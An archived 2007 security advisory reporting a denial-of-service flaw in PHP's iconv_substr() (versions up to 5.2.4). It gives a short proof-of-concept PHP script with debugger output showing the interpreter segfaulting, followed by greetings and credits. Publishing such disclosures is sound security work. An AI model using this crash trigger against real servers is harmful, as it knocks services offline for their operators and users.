PHP <=5.2.4 iconv_substr() denial of service

2007-09-06T00:00:00
ID SECURITYVULNS:DOC:17941
Type securityvulns
Reporter Securityvulns
Modified 2007-09-06T00:00:00

Description

Application: PHP <=5.2.4 Web Site: http://php.net Platform: unix Bug: denial of service function: iconv_substr() special condition: default php-memory-limit


1) Introduction 2) Bug 3) Proof of concept 4) Greets 5) Credits =========== 1) Introduction ===========

"PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML."

====== 2) Bug ======

iconv_substr() is vulnerable to a denial of service

===== 3)Proof of concept =====

Proof of concept example : <? $a = str_repeat ("A",9989776);/if a bigger value is supplied, php will get freezed for a while / $b = str_repeat("/", 2798349);// segfault happens here iconv_substr($a,0,1,$b); ?>

result: (gdb) run 2.php /(2 mn later...)/ Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1215904064 (LWP 11430)] 0xb796e1af in _dl_open () from /lib/tls/i686/cmov/libc.so.6

======== 4)Greets ======== Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

===== 5)Credits =====

Laurent gaffie contact : laurent.gaffie (at) gmail (dot) com [email concealed] stay tuned, site comming soon ....